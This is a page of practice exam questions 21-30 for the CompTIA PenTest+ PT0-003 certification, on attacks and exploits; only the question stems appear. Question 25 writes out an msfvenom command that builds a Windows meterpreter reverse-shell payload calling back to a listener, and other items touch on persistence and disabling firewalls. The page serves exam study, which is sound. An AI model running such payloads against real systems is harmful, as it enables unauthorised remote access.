CompTIA PenTest+

Free PT0-003 practice test Page 3

Topic: Attacks and Exploits

Free PT0 003 practice questions on Attacks and Exploits, each with the answer and an explanation. No sign-up needed.

  • 361Answers explainedWhy each answer is right
  • Real exam styleScenario-based questions
  • 5Study by topicFocus on your weak areas
  • Updated23-Nov-2026
Topic · 44 of 148 questions freeAttacks and Exploits
Question 21 Choose 1
A penetration tester needs to collect information over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?
Question 22 Choose 1
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
Question 23 Choose 1
A penetration tester downloads a JAR file that is used in an organization's production environment. The tester evaluates the contents of the JAR file to identify potentially vulnerable components that can be targeted for exploit. Which of the following describes the tester's activities?
Question 24 Choose 1
A penetration tester wants to use the following Bash script to identify active servers on a network:

1 network_addr="192.168.1"
2 for h in {1..254}; do
3 ping -c 1 -W 1 $network_addr.$h > /dev/null
4 if [ $? -eq 0 ]; then
5 echo "Host $h is up"
6 else
7 echo "Host $h is down"
8 fi
9 done

Which of the following should the tester do to modify the script?
Question 25 Choose 1
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:="font-size: 10pt;">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
Question 26 Choose 1
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?
Question 27 Choose 2
A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the patch has been deployed? (Select two).
Question 28 Choose 1
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?
Question 29 Choose 1
During a penetration test, a tester attempts to pivot from one Windows 10 system to another Windows system. The penetration tester thinks a local firewall is blocking connections. Which of the following command-line utilities built into Windows is most likely to disable the firewall?
Question 30 Choose 1
After a recent penetration test was conducted by the company's penetration testing team, a systems administrator notices the following in the logs:

2/10/2023 05:50AM C:\users\mgranite\schtasks /query
2/10/2023 05:53AM C:\users\mgranite\schtasks /CREATE /SC DAILY

Which of the following best explains the team's objective?

Practice Like It's Exam Day

Get exam-ready with a timed PT0 003 CompTIA PenTest+ mock exam designed to match the official exam's question format, question count, and time limit.

Take CompTIA PenTest+ Mock Exam
  • Build Exam Endurance Stay focused and perform confidently under exam conditions.
  • Improve Time Management Practice pacing yourself to finish within the time limit.
  • Fresh Questions Every Attempt Experience randomized questions from our extensive question bank.
  • Unlimited Practice Attempts Retake mock exams and improve your score at your own pace.